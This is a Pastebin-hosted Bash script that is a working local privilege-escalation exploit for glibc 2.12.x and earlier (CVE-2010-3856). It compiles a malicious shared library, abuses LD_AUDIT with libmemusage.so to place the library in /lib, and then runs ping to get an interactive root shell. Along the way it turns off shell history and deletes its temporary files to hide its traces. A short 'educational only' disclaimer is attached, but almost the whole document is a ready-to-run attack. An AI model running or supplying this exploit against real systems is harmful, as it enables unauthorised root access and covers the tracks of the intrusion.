hackerscommunity

glibc <= 2.12.x LD_AUDIT libmemusage.so local root exploit

Mar 22nd, 2016
302
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.01 KB | None | 0 0
  1. #!/bin/sh
  2. #
  3. # [+] Linux GNU/libc <= 2.12.x LD_AUDIT libmemusage.so local root exploit
  4. #
  5. #  Edited by Todor Donev
  6. #  This is another exploit for CVE-2010-3856
  7. #
  8. #  http://www.ethical-hacker.org/
  9. #  https://www.facebook.com/ethicalhackerorg
  10. #  http://pastebin.com/u/hackerscommunity
  11. #
  12. #  Disclaimer:
  13. #  This  or  previous program  is  for Educational
  14. #  purpose ONLY. Do not use it without permission.
  15. #  The  usual  disclaimer  applies, especially the
  16. #  fact  that  Todor Donev  is  not liable for any
  17. #  damages caused by direct or indirect use of the
  18. #  information or functionality  provided by these
  19. #  programs.  The author or any  Internet provider
  20. #  bears  NO  responsibility for content or misuse
  21. #  of these programs or  any  derivatives thereof.
  22. #  By  using  these  programs  you accept the fact
  23. #  that any damage (dataloss, system crash, system
  24. #  compromise,  etc.)  caused  by the use of these
  25. #  programs is not  Todor Donev's  responsibility.
  26. #
  27. #  Use  at  your  own risk and educational purpose
  28. #  ONLY!
  29. #
  30. # Another exploits:
  31. # http://www.0xdeadbeef.info/exploits/raptor_ldaudit
  32. # http://www.0xdeadbeef.info/exploits/raptor_ldaudit2
  33. # http://www.exploit-db.com/exploits/18105/
  34. # http://seclists.org/fulldisclosure/2010/Oct/257
  35. # http://seclists.org/bugtraq/2010/Oct/200
  36. #
  37. echo "[+] Setting umask to 0 so we have world writable files."
  38. umask 0
  39. echo "[+] Preparing binary payload.."
  40. cat > /tmp/payload.c <<_EOF
  41. void __attribute__((constructor)) init()
  42. {
  43.     unlink("/lib/.ploit.so");
  44.     setuid(0);
  45.     setgid(0);
  46.     setenv("HISTFILE", "/dev/null", 1);
  47.     execl("/bin/sh", "/bin/sh", "-i", 0);
  48. }
  49. _EOF
  50. gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
  51. echo "[+] Writing root owned world readable file in /lib"
  52. LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="/lib/.ploit.so" ping 2>/dev/null
  53. echo "[+] Filling the lib file with lib contents."
  54. cat /tmp/exploit > /lib/.ploit.so
  55. rm /tmp/payload.c /tmp/exploit
  56. echo "[+] Executing payload.."
  57. LD_AUDIT=".ploit.so" ping
Advertisement
Add Comment
Please, Sign In to add comment